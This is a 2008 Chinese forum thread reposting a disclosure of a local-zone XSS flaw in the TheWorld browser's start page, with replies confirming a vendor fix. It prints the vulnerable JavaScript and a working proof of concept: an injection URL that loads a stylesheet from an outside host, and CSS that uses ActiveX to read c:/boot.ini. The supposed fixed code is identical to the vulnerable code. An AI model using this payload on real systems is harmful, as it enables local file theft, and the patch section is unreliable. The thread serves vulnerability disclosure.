返回列表 发帖

[BUG反馈] 世界之窗等浏览器本地xss跨域漏洞POC【已修复】

漏洞说明:http://www.80sec.com/360-sec-browser-localzone-xss.html

文档来源:http://www.80sec.com/release/The ... le-zone-xss-POC.txt

漏洞分析:世界之窗浏览器在起始页面是以res://E:\PROGRA~1\THEWOR~1.0\languages\chs.dll/TWHOME.HTM的形式来处理的,而由于缺乏对res协议安全的必要控制,导致页面的权限很高,而该页面中存在的一个xss问题将导致本地跨域漏洞,简单分析如下:



<script language="JavaScript">
var nOldCount = 0;
for( i = 0; i < g_nCountOld; i ++ )
{
str_url = g_arr_argUrlOld;
str_name = g_arr_argNameOld;

str_td = “<tr ID=’twOldItem” + i +”‘><td valign=’top’ width=’64′><div align=’right’><a style=’cursor:hand’ title=’删除当前项’ onclick=\”javascript:tw_DeleteItemOld(’”+i+”‘);\”>” + “<img border=’0′ src=’twpage_delete.gif’ width=’16′ height=’16′></div></a></td>”;
document.write( str_td );

str_td = “<td><a target=’_blank’ href=’” + str_url + “‘>” + str_name + “</a></td></tr>”;
document.write( str_td );
nOldCount = i;
g_bHasLastUrl = true;
}

</script>

str_name和str_url不经过滤地直接输出,由于该页面处于本地安全区域,所以拥有很高的权限,可以做很多跨域操作,包括读取文件和运行本地程序。

漏洞修补:


<script language="JavaScript">
var nOldCount = 0;
for( i = 0; i < g_nCountOld; i ++ )
{
str_url = g_arr_argUrlOld;
str_name = g_arr_argNameOld;

str_td = “<tr ID=’twOldItem” + i +”‘><td valign=’top’ width=’64′><div align=’right’><a style=’cursor:hand’ title=’删除当前项’ onclick=\”javascript:tw_DeleteItemOld(’”+i+”‘);\”>” + “<img border=’0′ src=’twpage_delete.gif’ width=’16′ height=’16′></div></a></td>”;
document.write( str_td );

str_td = “<td><a target=’_blank’ href=’” + str_url + “‘>” + str_name + “</a></td></tr>”;
document.write( str_td );
nOldCount = i;
g_bHasLastUrl = true;
}

</script>

已经用js控制DOM显示了

漏洞演示:这里提供测试方法可以读取c:/boot.ini

1 打开如下地址:

sc:h’><script>alert(document.write(unescape(”%3CLINK%20REL%3D%22stylesheet%22%20HREF%3D%22http%3A%2f%2fwww.80sec.com/1.css%22%3E”)))</script>

2 上面将导致一个不可访问的页面,然后直接关闭tw浏览器( 没有好的办法crash,死循环?  )

3 重新打开tw浏览器,可以发现http://www.80sec.com/1.css中的内容被解析,并且有本地域的权限。

1.css内容,换成其他js代码一样执行


body {
background-image: url('javascript:alert(document.location);xmlhttp=new ActiveXObject("Msxml2.XMLHTTP.3.0");xmlhttp.open("GET","c:/boot.ini",false);xmlhttp.send();alert(xmlhttp.responseText);')
}

漏洞状态:

2008-06-24通知厂商
2008-06-25修补

http://www.ioage.com/cnnew/uplog.htm
他们修复了一些隐性bug  

其他浏览器如极速浏览器也可能存在问题:)

本站内容均为原创,转载请务必保留署名与链接!
世界之窗等浏览器本地xss跨域漏洞POC:http://www.80sec.com/tw-local-zone-xss-poc.html


大大赶紧处理~我转的别处的帖子
凯华博客:分享免费的资讯、实用的软件
http://ri88.tk/

帮顶,怎么不发到2.0区,现在人气本来就很低迷

TOP

要是发过去,被和谐的可能性超过80%
为纪念在地震中死难的同胞,从19日至21日停止一切娱乐活动,不进食,以示悼念

TOP

这个问题已经修复了, 在此借本帖也感谢一下80sec的朋友们
遇到崩溃假死或者感觉速度慢或者其他问题的朋友可以先试试使用TW3
TheWorld we explore the world.

TOP

很和谐2200修复过了吗?还是下一个版本?

[ 本帖最后由 世界窗 于 2008-6-27 11:51 编辑 ]

TOP

回复 5# 世界窗 的帖子

2.2.0.0已修复了
遇见浏览问题请将tw主程序拷贝到空白目录下运行,排除插件、设置文件的错误。反馈问题时请尽量包含以下内容,以便开发组可以尽快解决问题:TheWorld版本、操作系统、IE版本、问题现象(可截图说明)、问题重现方式(如果可以反复重现)
世界之窗浏览器--打开窗口看世界。
应用技巧和常见问题
风向吧

TOP

原帖由 靖哥哥 于 2008-6-27 13:24 发表 http://bbs.ioage.com/cn/images/common/back.gif
2.2.0.0已修复了

2.2.0.0 是 2.2 正式版?还是最新的 2.2 beta 已经修复了?

TOP

已经修复就好了

TOP

80sec是什么组织?

TOP

原帖由 AY 于 2008-6-27 19:23 发表 http://bbs.ioage.com/cn/images/common/back.gif

2.2.0.0 是 2.2 正式版?还是最新的 2.2 beta 已经修复了?


2.2.0.0版本已经修复了。
遇到崩溃假死或者感觉速度慢或者其他问题的朋友可以先试试使用TW3
TheWorld we explore the world.

TOP

修复就好了,那么theworld的安全性又更高了!

TOP

这样的人才在TW多一些就更好啦

TOP

返回列表